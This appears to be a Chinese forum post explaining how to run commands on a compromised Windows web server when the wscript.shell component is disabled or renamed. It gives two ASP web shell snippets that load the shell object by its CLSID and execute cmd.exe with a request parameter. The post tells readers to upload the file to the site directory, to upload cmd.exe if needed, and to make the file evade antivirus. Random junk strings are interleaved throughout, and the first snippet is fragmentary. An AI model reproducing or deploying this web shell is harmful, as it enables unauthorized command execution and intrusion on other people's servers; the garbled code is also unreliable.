没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  * A$ ]0 S  h) b# W4 j$ |
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  ! H5 ?; }: o% L. u8 {# R! v
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  
• end if
  
• response.write(”")
  
• On Error Resume
  
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  5 ~: K& B& c% `' d; ]( c- F9 j6 f
• response.write(”")
  
• response.write(”")
  
• response.write(”
  
• “)
  4 N* J8 q8 L5 H, J1 @# z
• response.write(”")
  * |6 a2 Q+ K& Z0 [& x" T8 s- C
• %>
  8 O) J/ I2 w1 f' ]5 k% G  b
• 保存为一个asp文件，然后传到网站目录上去
  % G9 ?7 V, p7 d+ [
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  4 R6 B" D& D) D4 X/ U  @, e
• 我用此成功运行过cacls命令。
  8 _: ^3 R. I3 ~! F  X/ U
• 第二那就是运行时出错，可能限制某些代码执行
  6 U; [1 O; a! ]' {4 s: p
• 无wscript.shell组件提权又一个方法
  ! x0 ]7 P3 F7 _6 ~1 f9 v
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  5 K, [' P/ i/ s- A3 ^. _# b
• <%if err then%>
  2 Y3 U0 w# m* h+ |) t% h! [
• <object runat=server id=oScriptlhn scope=page
  
• 
  * T5 b, Z4 t8 e( B9 L! ?! c$ o& Z
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  ' V, `  E3 M6 N
• end if
  # q& v7 \# G8 f$ D1 _/ r& C
• response.write(”<textarea readonly cols=80
  
• 
  ! r" a) \+ U) [# f/ F
• rows=20>”)
  ' X9 M8 j1 `4 Y4 v  U
• On Error Resume Next
    z* s1 |- i" X+ }
• response.write
  
• 
  4 v. X+ `' P% i$ ~; G" x" H
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  5 S$ i6 [$ S2 _
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  2 g# t/ q( i4 n% {6 t
• method=’post’>”)
  7 ~. O3 ?% V5 s
• response.write(”<input type=text name=’c'
  
• 
  6 S2 H. P, S1 k* h, q4 Z
• size=60><br>”)
  
• response.write(”<input type=submit
  # z6 d! k9 [% K, K/ e
• 
  
• value=’执行’></form>”)
  8 O( O% ^* N3 T
• %>
  4 D; ]# {8 U3 T: b
• 保存为ASP，此代码可能被杀，请注意免杀。
  ; r* O( r4 \; ~0 o
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  1 j" K6 G0 N3 D/ [5 q* b

复制代码